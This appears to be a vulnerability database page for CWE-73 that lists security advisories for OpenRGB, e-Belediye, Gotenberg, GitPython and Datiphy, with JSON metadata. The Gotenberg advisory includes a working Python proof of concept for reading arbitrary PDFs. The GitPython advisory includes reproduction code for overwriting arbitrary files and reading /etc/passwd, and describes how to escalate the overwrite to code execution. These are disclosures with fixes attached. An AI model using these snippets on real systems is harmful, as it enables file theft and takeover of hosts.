CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1114 vulnerabilities reference this CWE, most recent first.
GHSA-3C7Q-X53X-MRFX
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31The OpenRGB network protocol allows to write attacker controlled strings into arbitrary file system paths (extension of CVE-2026-59682). This allows either a full system compromise from local or remote (if the daemon is running as root) or a full account takeover (if the daemon is running in user context).
{
"affected": [],
"aliases": [
"CVE-2026-59683"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T10:16:41Z",
"severity": "CRITICAL"
},
"details": "The OpenRGB network protocol allows to write attacker controlled strings into arbitrary file system paths (extension of CVE-2026-59682). This allows either a full system compromise from local or remote (if the daemon is running as root) or a full account takeover (if the daemon is running in user context).",
"id": "GHSA-3c7q-x53x-mrfx",
"modified": "2026-09-01T21:31:25Z",
"published": "2026-09-01T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59683"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1274007"
},
{
"type": "WEB",
"url": "https://gitlab.com/CalcProgrammer1/OpenRGB/-/commit/d2dd9dcc7369e78f47d01ace19af3750cd89ae66"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3CH5-8236-6HMM
Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2026-06-02 09:36External Control of File Name or Path, : Incorrect Permission Assignment for Critical Resource vulnerability in Olgu Computer Systems e-Belediye allows Manipulating Web Input to File System Calls.This issue affects e-Belediye: before 2.0.642.
{
"affected": [],
"aliases": [
"CVE-2024-9142"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-25T01:15:49Z",
"severity": "CRITICAL"
},
"details": "External Control of File Name or Path, : Incorrect Permission Assignment for Critical Resource vulnerability in Olgu Computer Systems e-Belediye allows Manipulating Web Input to File System Calls.This issue affects e-Belediye: before 2.0.642.",
"id": "GHSA-3ch5-8236-6hmm",
"modified": "2026-06-02T09:36:12Z",
"published": "2024-09-25T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9142"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1527"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1527"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3CV5-Q585-H563
Vulnerability from github – Published: 2026-05-07 00:59 – Updated: 2026-05-14 20:52Summary
Six conversion routes (pdfengines/merge, pdfengines/split, libreoffice/convert, chromium/convert/url, chromium/convert/html, chromium/convert/markdown) accept stampSource=pdf + stampExpression=/path and watermarkSource=pdf + watermarkExpression=/path from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.
Details
The dedicated stamp route at pkg/modules/pdfengines/routes.go:1322-1332 rejects requests missing the stamp file:
if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
if stampFile == "" {
return api.WrapError(errors.New("no stamp file provided"), ...)
}
stamp.Expression = stampFile
}
The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):
// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);
// pkg/modules/libreoffice/routes.go:307-311;
// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597
if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" {
stamp.Expression = stampFile
}
if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" {
watermark.Expression = watermarkFile
}
When stampFile == "" (no file attached to the stamp form field), the guard short-circuits and stamp.Expression keeps the raw user-supplied stampExpression form string. The same pattern applies to watermarkFile/watermarkExpression.
pkg/modules/pdfcpu/pdfcpu.go:635 forwards the expression straight to the pdfcpu CLI:
args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath}
cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)
pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.
Proof of Concept
Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared /tmp filesystem:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf
Where victim.pdf contains extractable text such as BOB-CONFIDENTIAL-CONTRACT-2026-04-20.
Alice attacks without auth:
import requests, io, subprocess
T = "http://localhost:3000"
minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n"
b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
b"0000000058 00000 n \n0000000115 00000 n \n"
b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n")
r = requests.post(
f"{T}/forms/pdfengines/merge",
files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"),
"file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")},
data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"},
timeout=30,
)
print(f"HTTP {r.status_code} bytes={len(r.content)}")
open("/tmp/out.pdf", "wb").write(r.content)
print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"],
capture_output=True, text=True).stdout)
Observed output against gotenberg 8.31.0:
HTTP 200 bytes=1852
BOB-CONFIDENTIAL-CONTRACT-2026-04-20
...
Non-PDF targets via stampSource=pdf (for example /etc/hostname) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. stampSource=image with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with stampSource replaced by watermarkSource and stampExpression by watermarkExpression.
Impact
Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to /tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read.
Recommended Fix
Apply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites:
if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {
if stampFile == "" {
return api.WrapError(
errors.New("no stamp file provided for image or pdf source"),
api.NewSentinelHttpError(http.StatusBadRequest,
"Invalid form data: a stamp file is required for image or pdf source"),
)
}
stamp.Expression = stampFile
}
if watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF {
if watermarkFile == "" {
return api.WrapError(
errors.New("no watermark file provided for image or pdf source"),
api.NewSentinelHttpError(http.StatusBadRequest,
"Invalid form data: a watermark file is required for image or pdf source"),
)
}
watermark.Expression = watermarkFile
}
Call sites: pkg/modules/pdfengines/routes.go:679-683 (merge), :803-807 (split), pkg/modules/libreoffice/routes.go:307-311, pkg/modules/chromium/routes.go:433-438 (url), :508-513 (html), :592-597 (markdown), plus each route's watermark counterpart.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42593"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:59:50Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nSix conversion routes (`pdfengines/merge`, `pdfengines/split`, `libreoffice/convert`, `chromium/convert/url`, `chromium/convert/html`, `chromium/convert/markdown`) accept `stampSource=pdf` + `stampExpression=/path` and `watermarkSource=pdf` + `watermarkExpression=/path` from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.\n\n## Details\n\nThe dedicated stamp route at `pkg/modules/pdfengines/routes.go:1322-1332` rejects requests missing the stamp file:\n\n```go\nif stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {\n if stampFile == \"\" {\n return api.WrapError(errors.New(\"no stamp file provided\"), ...)\n }\n stamp.Expression = stampFile\n}\n```\n\nThe merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):\n\n```go\n// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);\n// pkg/modules/libreoffice/routes.go:307-311;\n// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597\nif (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) \u0026\u0026 stampFile != \"\" {\n stamp.Expression = stampFile\n}\nif (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) \u0026\u0026 watermarkFile != \"\" {\n watermark.Expression = watermarkFile\n}\n```\n\nWhen `stampFile == \"\"` (no file attached to the `stamp` form field), the guard short-circuits and `stamp.Expression` keeps the raw user-supplied `stampExpression` form string. The same pattern applies to `watermarkFile`/`watermarkExpression`.\n\n`pkg/modules/pdfcpu/pdfcpu.go:635` forwards the expression straight to the pdfcpu CLI:\n\n```go\nargs := []string{\"stamp\", \"add\", \"-mode\", \"pdf\", \"--\", stamp.Expression, onDesc, inputPath, outputPath}\ncmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)\n```\n\npdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.\n\n## Proof of Concept\n\nReproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared `/tmp` filesystem:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\ndocker exec gotenberg-poc sh -c \u0027cat \u003e /tmp/victim_doc.pdf\u0027 \u003c victim.pdf\n```\n\nWhere `victim.pdf` contains extractable text such as `BOB-CONFIDENTIAL-CONTRACT-2026-04-20`.\n\nAlice attacks without auth:\n\n```python\nimport requests, io, subprocess\nT = \"http://localhost:3000\"\n\nminimal = (b\"%PDF-1.4\\n1 0 obj\\n\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\\nendobj\\n\"\n b\"2 0 obj\\n\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\\nendobj\\n\"\n b\"3 0 obj\\n\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] \u003e\u003e\\nendobj\\n\"\n b\"xref\\n0 4\\n0000000000 65535 f \\n0000000009 00000 n \\n\"\n b\"0000000058 00000 n \\n0000000115 00000 n \\n\"\n b\"trailer\\n\u003c\u003c /Size 4 /Root 1 0 R \u003e\u003e\\nstartxref\\n180\\n%%EOF\\n\")\n\nr = requests.post(\n f\"{T}/forms/pdfengines/merge\",\n files={\"file1\": (\"a.pdf\", io.BytesIO(minimal), \"application/pdf\"),\n \"file2\": (\"b.pdf\", io.BytesIO(minimal), \"application/pdf\")},\n data={\"stampSource\": \"pdf\", \"stampExpression\": \"/tmp/victim_doc.pdf\"},\n timeout=30,\n)\nprint(f\"HTTP {r.status_code} bytes={len(r.content)}\")\nopen(\"/tmp/out.pdf\", \"wb\").write(r.content)\nprint(subprocess.run([\"pdftotext\", \"/tmp/out.pdf\", \"-\"],\n capture_output=True, text=True).stdout)\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\nHTTP 200 bytes=1852\nBOB-CONFIDENTIAL-CONTRACT-2026-04-20\n...\n```\n\nNon-PDF targets via `stampSource=pdf` (for example `/etc/hostname`) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. `stampSource=image` with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with `stampSource` replaced by `watermarkSource` and `stampExpression` by `watermarkExpression`.\n\n## Impact\n\nAny anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/*.pdf` (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read.\n\n## Recommended Fix\n\nApply the dedicated stamp route\u0027s guard to all six stamp call sites and all six watermark call sites:\n\n```go\nif stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {\n if stampFile == \"\" {\n return api.WrapError(\n errors.New(\"no stamp file provided for image or pdf source\"),\n api.NewSentinelHttpError(http.StatusBadRequest,\n \"Invalid form data: a stamp file is required for image or pdf source\"),\n )\n }\n stamp.Expression = stampFile\n}\nif watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF {\n if watermarkFile == \"\" {\n return api.WrapError(\n errors.New(\"no watermark file provided for image or pdf source\"),\n api.NewSentinelHttpError(http.StatusBadRequest,\n \"Invalid form data: a watermark file is required for image or pdf source\"),\n )\n }\n watermark.Expression = watermarkFile\n}\n```\n\nCall sites: `pkg/modules/pdfengines/routes.go:679-683` (merge), `:803-807` (split), `pkg/modules/libreoffice/routes.go:307-311`, `pkg/modules/chromium/routes.go:433-438` (url), `:508-513` (html), `:592-597` (markdown), plus each route\u0027s watermark counterpart.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-3cv5-q585-h563",
"modified": "2026-05-14T20:52:32Z",
"published": "2026-05-07T00:59:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-3cv5-q585-h563"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42593"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes"
}
GHSA-3F7W-8RR8-F37F
Vulnerability from github – Published: 2026-08-03 20:09 – Updated: 2026-08-03 20:09Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Reported instances: 2 exploitable, from a sweep of 14 unguarded call sites
Summary
GitPython blocks dangerous git options through Git.check_unsafe_options(), gated per method by an allow_unsafe_options parameter. That guard is applied per call site, so any API that forwards **kwargs into a git command without calling it passes caller-controlled options straight to git.
A mechanical sweep of every method that forwards **kwargs into a .git.<command>(...) call found 14 sites with no guard. Two reach a git option that takes a filesystem path:
| # | Call site | git option | Impact |
|---|---|---|---|
| 1 | IndexFile.checkout() → git checkout-index |
--prefix=<path> |
arbitrary file overwrite with repository-controlled content |
| 2 | TagReference.create() → git tag |
-F <file> / --file=<file> |
arbitrary file read, returned in-band |
This is the same defect class already fixed in Commit.count() (GHSA-p538-c434-8v24), Repo.archive() and Git.ls_remote() (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.
Instance 1 — IndexFile.checkout(): arbitrary file overwrite
git/index/base.py:1210 accepts **kwargs and forwards them with no guard:
def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):
...
proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331
...
proc = self.repo.git.checkout_index(args, **kwargs) # line 1349
There is no allow_unsafe_options parameter and no check_unsafe_options() call in the method.
git checkout-index accepts --prefix=<string>, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and -f overwrites what is already there.
Reproduction
from git import Repo
Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True)
Observed (poc/poc_checkout_index.py) — no exception raised, files land outside the repository:
[ALLOWED] no UnsafeOptionError raised
files written outside the repo: ['f.txt']
f.txt: 'hi\n'
Overwrite of a pre-existing file (poc/poc_ci_overwrite.py) — the victim file held ORIGINAL-DO-NOT-CLOBBER\n before the call:
[ALLOWED] no exception
victim content now: 'hi\n'
OVERWRITTEN: True
Why this rates High
Both halves of the write are attacker-influenced:
- Destination — the
prefixkwarg. - Content — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.
Commit a file named authorized_keys, .bashrc, config or post-checkout, choose the matching prefix (~/.ssh/, ~/, .git/hooks/), and the write becomes code execution as the service account.
For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via git diff --output) is rated High, and GHSA-p538-c434-8v24 (arbitrary file truncation via git rev-list --output) is rated Medium. --prefix supplies full content control, so it sits at or above the former.
Instance 2 — TagReference.create(): arbitrary file read
git/refs/tag.py:88 forwards **kwargs into git tag with no guard, and the signature advertises the passthrough:
def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs):
"""...
:param kwargs:
Additional keyword arguments to be passed to :manpage:`git-tag(1)`.
"""
git tag accepts -F <file> / --file=<file>, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via TagReference.tag.message, so the file contents come back in-band.
Reproduction
from git import Repo
from git.refs.tag import TagReference
t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd")
print(t.tag.message)
Observed (poc/poc_tag_F.py), reading a canary file outside the repository:
[ALLOWED] no UnsafeOptionError raised
>>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret'
Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (-s, -u/--local-user) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.
Sweep results — the other 12 sites
Reported so the fix can be scoped once rather than per report. poc/sweep.py reproduces this list.
| Call site | git command | Assessment |
|---|---|---|
IndexFile.from_tree() |
read-tree |
--index-output=<path> looked reachable but is neutralised: GitPython appends its own --index-output after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (poc/poc_readtree.py) |
IndexFile.remove() |
rm |
--pathspec-from-file only reads a pathspec; no write or disclosure primitive found |
IndexFile.move() |
mv |
same |
HEAD.reset() |
reset |
same |
HEAD.checkout() |
checkout |
same |
Head.delete(), RemoteReference.delete() |
branch |
no path-taking option found |
Repo.merge_base() |
merge-base |
no path-taking option found |
Repo._get_untracked_files() |
status |
no path-taking option found |
Remote.set_url(), Remote.create(), Remote.update() |
remote |
URL handling already addressed by GHSA-94p4-4cq8-9g67 |
Suggested remediation
Immediate: add allow_unsafe_options: bool = False to both methods and gate Git._option_candidates(args, kwargs) against new lists — unsafe_git_checkout_index_options = ["--prefix"] (consider --temp) and unsafe_git_tag_options = ["--file", "-F"] (consider -s, -u/--local-user, --cleanup) — matching the pattern used in Repo.archive() and Commit.count().
Structural: this defect has now been fixed four times in four places (Repo.archive(), Git.ls_remote(), Commit.count(), and the two here), because the guard is opt-in per method: every new **kwargs-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in Git._call_process() — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.
Disclosure
Reported privately via GitHub private vulnerability reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.56"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.57"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T20:09:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.\u003ccommand\u003e(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` \u2192 `git checkout-index` | `--prefix=\u003cpath\u003e` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` \u2192 `git tag` | `-F \u003cfile\u003e` / `--file=\u003cfile\u003e` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 \u2014 `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n ...\n proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331\n ...\n proc = self.repo.git.checkout_index(args, **kwargs) # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=\u003cstring\u003e`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) \u2014 no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: [\u0027f.txt\u0027]\n f.txt: \u0027hi\\n\u0027\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) \u2014 the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: \u0027hi\\n\u0027\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** \u2014 the `prefix` kwarg.\n- **Content** \u2014 the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 \u2014 `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n \"\"\"...\n :param kwargs:\n Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n \"\"\"\n```\n\n`git tag` accepts `-F \u003cfile\u003e` / `--file=\u003cfile\u003e`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n\u003e\u003e\u003e tag message recovered from arbitrary path: \u0027TAG-READ-CANARY-98765\\nsecond-line-secret\u0027\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results \u2014 the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=\u003cpath\u003e` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller\u0027s kwargs and git honours the last occurrence. Verified \u2014 victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists \u2014 `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) \u2014 matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` \u2014 each git invocation consults a per-command unsafe-option table unless the caller opts out \u2014 would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.",
"id": "GHSA-3f7w-8rr8-f37f",
"modified": "2026-08-03T20:09:56Z",
"published": "2026-08-03T20:09:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2193"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read"
}
GHSA-3G7V-7VPF-GWMM
Vulnerability from github – Published: 2026-08-21 03:31 – Updated: 2026-08-21 03:31External Control of File Name or Path in the upload API endpoint of Datiphy Data Management Center from v8.3.0 through v8.5.1 allows a remote attacker to write files to arbitrary locations outside the intended upload directory via relative or absolute path sequences.
{
"affected": [],
"aliases": [
"CVE-2026-76158"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-21T03:16:39Z",
"severity": "CRITICAL"
},
"details": "External Control of File Name or Path in the upload API endpoint of Datiphy Data Management Center from v8.3.0 through v8.5.1 allows a remote attacker to write files to arbitrary locations outside the intended upload directory via relative or absolute path sequences.",
